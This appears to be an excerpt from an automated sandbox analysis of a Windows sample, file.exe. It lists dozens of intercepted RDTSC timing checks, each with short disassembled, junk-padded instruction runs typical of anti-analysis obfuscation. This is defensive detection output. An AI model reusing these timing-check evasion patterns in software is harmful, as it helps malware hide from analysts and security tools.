                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53D0E4 second address: 53D0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53D75B second address: 53D770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007FA9551579FBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53D770 second address: 53D77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007FA954E703C6h 0x0000000d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53D77D second address: 53D781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 53D781 second address: 53D787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54082B second address: 540835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA9551579F6h 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5421EC second address: 5421F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5421F2 second address: 5421F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5421F6 second address: 542214 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FA954E703C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push esi 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 push ecx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 55565C second address: 555662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 552461 second address: 552467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 552467 second address: 55246B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 55246B second address: 552475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 552475 second address: 552479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 561ADD second address: 561AE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A2F3 second address: 57A30E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FA9551579FDh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A30E second address: 57A314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A459 second address: 57A467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A467 second address: 57A46C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A46C second address: 57A480 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA9551579FAh 0x00000009 jnp 00007FA9551579F6h 0x0000000f rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A5DB second address: 57A5FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007FA954E703D8h 0x0000000e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A5FB second address: 57A603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A603 second address: 57A607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A607 second address: 57A62A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA955157A05h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FA9551579F6h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57A62A second address: 57A630 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57AD37 second address: 57AD5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pushad 0x00000008 jmp 00007FA9551579FEh 0x0000000d jg 00007FA9551579F6h 0x00000013 popad 0x00000014 jc 00007FA9551579FCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57DCC1 second address: 57DCC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57DCC5 second address: 57DD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FA955157A08h 0x0000000c jmp 00007FA955157A02h 0x00000011 popad 0x00000012 push eax 0x00000013 jnc 00007FA955157A11h 0x00000019 pushad 0x0000001a jmp 00007FA955157A03h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57DFAA second address: 57DFC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57E3F4 second address: 57E3FA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57E3FA second address: 57E401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57E401 second address: 57E414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007FA9551579F6h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57E414 second address: 57E41E instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA954E703C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 57F574 second address: 57F57B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60E5D second address: 4F60EBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA954E703CEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov eax, 22C840F3h 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 movzx esi, di 0x0000001c jmp 00007FA954E703D1h 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 jmp 00007FA954E703CEh 0x00000029 pop ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FA954E703CAh 0x00000033 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60EBB second address: 4F60EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60EBF second address: 4F60EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50E25 second address: 4F50E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FA9551579FCh 0x00000009 pop eax 0x0000000a popad 0x0000000b call 00007FA9551579FBh 0x00000010 mov cx, ECEFh 0x00000014 pop ecx 0x00000015 popad 0x00000016 push ebx 0x00000017 pushad 0x00000018 mov bl, al 0x0000001a popad 0x0000001b mov dword ptr [esp], ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA9551579FEh 0x00000027 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50E62 second address: 4F50E71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50E71 second address: 4F50EAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov edi, ecx 0x0000000e push eax 0x0000000f mov di, CB4Ah 0x00000013 pop edi 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA9551579FDh 0x0000001d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50EAA second address: 4F50EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA954E703CCh 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F905CB second address: 4F905CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F905CF second address: 4F905EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F905EA second address: 4F905F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F905F0 second address: 4F9065A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FA954E703CFh 0x00000013 or si, B2BEh 0x00000018 jmp 00007FA954E703D9h 0x0000001d popfd 0x0000001e movzx eax, bx 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 call 00007FA954E703D9h 0x00000029 mov bx, cx 0x0000002c pop esi 0x0000002d push eax 0x0000002e push edx 0x0000002f mov si, dx 0x00000032 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F300A6 second address: 4F300AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F300AC second address: 4F30108 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FA954E703D2h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FA954E703CBh 0x0000000f and si, AD9Eh 0x00000014 jmp 00007FA954E703D9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FA954E703D3h 0x00000027 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30108 second address: 4F30125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30125 second address: 4F3012B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F3012B second address: 4F3012F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F3012F second address: 4F30171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push edi 0x0000000b mov si, A127h 0x0000000f pop eax 0x00000010 mov edi, 277DF540h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FA954E703D0h 0x00000021 sbb esi, 1A005B88h 0x00000027 jmp 00007FA954E703CBh 0x0000002c popfd 0x0000002d movzx esi, di 0x00000030 popad 0x00000031 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30171 second address: 4F301CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA955157A02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+04h] 0x0000000c pushad 0x0000000d mov dh, al 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA955157A09h 0x00000016 xor ah, 00000006h 0x00000019 jmp 00007FA955157A01h 0x0000001e popfd 0x0000001f mov bx, ax 0x00000022 popad 0x00000023 popad 0x00000024 push dword ptr [ebp+0Ch] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F301CB second address: 4F301CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F301CF second address: 4F301D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30263 second address: 4F30269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F30269 second address: 4F3026D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F3026D second address: 4F3028A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA954E703D2h 0x00000010 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F506A1 second address: 4F506A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F506A7 second address: 4F5071B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 2CB3h 0x00000007 pushfd 0x00000008 jmp 00007FA954E703D8h 0x0000000d xor cl, FFFFFFB8h 0x00000010 jmp 00007FA954E703CBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a jmp 00007FA954E703D9h 0x0000001f xchg eax, ebp 0x00000020 jmp 00007FA954E703CEh 0x00000025 mov ebp, esp 0x00000027 jmp 00007FA954E703D0h 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5071B second address: 4F5071F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5071F second address: 4F50723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50723 second address: 4F50729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50729 second address: 4F5072E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5041E second address: 4F50424 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50424 second address: 4F5042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5042A second address: 4F5042E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5042E second address: 4F5044C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5044C second address: 4F50452 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60161 second address: 4F601A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FA954E703CEh 0x0000000f push eax 0x00000010 jmp 00007FA954E703CBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601A0 second address: 4F601A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601A4 second address: 4F601A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601A8 second address: 4F601AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601AE second address: 4F601B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601B4 second address: 4F601B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601B8 second address: 4F601DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA954E703D7h 0x00000011 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601DB second address: 4F601E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F601E1 second address: 4F601E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F904FD second address: 4F90503 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F90503 second address: 4F90554 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FA954E703CBh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FA954E703D4h 0x00000017 sub cx, 1A48h 0x0000001c jmp 00007FA954E703CBh 0x00000021 popfd 0x00000022 push eax 0x00000023 push edx 0x00000024 movzx eax, dx 0x00000027 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F90554 second address: 4F9057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA9551579FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA955157A05h 0x00000013 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F9057D second address: 4F9058D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA954E703CCh 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F9058D second address: 4F90591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F701E7 second address: 4F701EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F701EB second address: 4F70227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushfd 0x00000008 jmp 00007FA9551579FFh 0x0000000d xor al, 0000003Eh 0x00000010 jmp 00007FA955157A09h 0x00000015 popfd 0x00000016 pop esi 0x00000017 popad 0x00000018 push ebp 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push esi 0x0000001d pop edi 0x0000001e rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F505D5 second address: 4F505E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F505E4 second address: 4F50657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 4Ah 0x00000005 pushfd 0x00000006 jmp 00007FA955157A00h 0x0000000b and eax, 62EDF6D8h 0x00000011 jmp 00007FA9551579FBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], ebp 0x0000001d pushad 0x0000001e mov ecx, 3AEF1FABh 0x00000023 mov ecx, 18FE0B87h 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FA955157A08h 0x00000032 or ecx, 7A2FE868h 0x00000038 jmp 00007FA9551579FBh 0x0000003d popfd 0x0000003e movzx esi, di 0x00000041 popad 0x00000042 pop ebp 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F50657 second address: 4F5065B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F5065B second address: 4F50661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60DE7 second address: 4F60DF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60DF6 second address: 4F60E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA955157A04h 0x00000009 rdtsc
                      Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 4F60E0E second address: 4F60E38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA954E703CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA954E703D5h 0x00000014 rdtsc
